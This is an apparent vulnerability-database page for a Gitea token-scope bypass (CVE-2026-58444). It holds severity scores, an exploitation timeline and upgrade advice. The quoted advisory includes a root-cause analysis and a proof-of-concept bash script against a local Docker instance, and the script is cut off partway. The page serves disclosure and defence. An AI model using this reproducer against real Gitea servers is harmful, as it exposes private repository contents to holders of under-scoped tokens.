CVE-2026-58444VulnerabilityPublished 21 Jul 2026

code.gitea.io/gitea · Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses

Affects code.gitea.io/giteaSource GCVE Database

Mentioned vulnerabilities

Authoritative record:CVE-2026-58444· Medium 4.3

Not known to be exploited · CVSS 4.3 Medium : upgrade to 1.27.0 when convenient.

Data as of 27 Oct 2026, 05:11 UTC

CVSS 3.1 base score

4.3Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 29% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.27.0

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: Low
Integrity: None
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

CVE ID reserved
by Gitea Limited
30 Jun 202618:57 UTC, 44 days before disclosure
CVE published
on cve.org
13 Aug 202616:44 UTC, t = 0
CISA SSVC assessment
proof of concept public
14 Aug 202619:10 UTC, 26 hours after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade code.gitea.io/gitea to 1.27.0.

Affected software

Product	Affected	Fixed in
Gocode.gitea.io/gitea	Affected <1.27.0	Fixed in 1.27.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary A personal access token (PAT) or OAuth2 token that does **not** carry the `repository` scope or that is **public-only** is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route `GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token. This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in: - **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download - **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds `repo.Home` is the remaining token-auth-enabled content route that was not given the guard. ### Details / Root cause Web routes accept token authentication only when explicitly opted in with `webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries `AllowBasic` (added so that `go get` can resolve private modules): ```go // routers/web/web.go:1256 m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic, context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch), repo.SetEditorconfigIfExists, repo.Home) ``` When a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go` sets `IsApiToken = true` and records `ApiTokenScope`: ```go // services/auth/basic.go store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = token.Scope ``` The patched sibling handlers all call the web-side scope guard `context.CheckRepoScopedToken(...)`, which enforces both the public-only restriction and the `repository` scope: ``` routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww routers/web/repo/attachment.go:190 (attachments / release assets, centralized) routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w ``` `repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its only gate is `checkHomeCodeViewable`, which verifies the **user's** permission and that the code unit is enabled neither of which constrains the **token's** scope. The README, file listing, and sidebar are then rendered. (The `handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo view is not.) ### Proof of Concept Reproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to the source commit above). A private repository `admin/secretrepo` is created, and a token is minted with **only** the `read:user` scope (no `repository` scope). ``` === anonymous baseline (repository is private) === anon GET /admin/secretrepo HTTP=404 === same no-repo-scope token across routes === API repo get (proves token lacks repo scope) HTTP=403 canary=0 /admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0 /admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0 /admin/secretrepo.rss (control) HTTP=403 canary=0 /admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1 ``` A second token with scope `public-only,read:repository` behaves identically: `/archive` → 403, but `/admin/secretrepo` → 200 and returns the private content. `canary=1` means the private README marker was returned in the HTML response; the private file name `SECRET.md` is also disclosed in the rendered file tree. Full self-contained reproducer (Docker, prints a PASS/FAIL verdict): ```bash #!/usr/bin/env bash set -euo pipefail N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2' docker rm -f $N >/dev/null 2>&1 || true docker run -d --name $N \ -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \ -e GITEA__server__ROOT_URL=http://localhost:3000/ \ -e GITEA__service__DISABLE_REGISTRATION=true \ -p 3000:3000 gitea/gitea:main-nightly >/dev/null for i in $(seq 1 40); do [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done docker exec -u git $N gitea admin user create --admin --username admin \ --password "$PW" --email admin@example.com --must-change-password=false >/dev/null curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \ -H 'Content-Type: application/json' \ -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])") curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ -H 'Content-Type: application/json' \ -d '{"content":"'"

CWE-863Incorrect Authorization (opens in a new tab)
Class weaknessLikelihood of exploit: HighCWE Top 25 (2025): #17OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
Architecture and Design
Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
Architecture and Design
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records.
Architecture and Design · Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V8.3.8 (opens in a new tab)
V13.4.2 (opens in a new tab)
V7.2.2 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Affected software

Description

WeaknessesCWE-863

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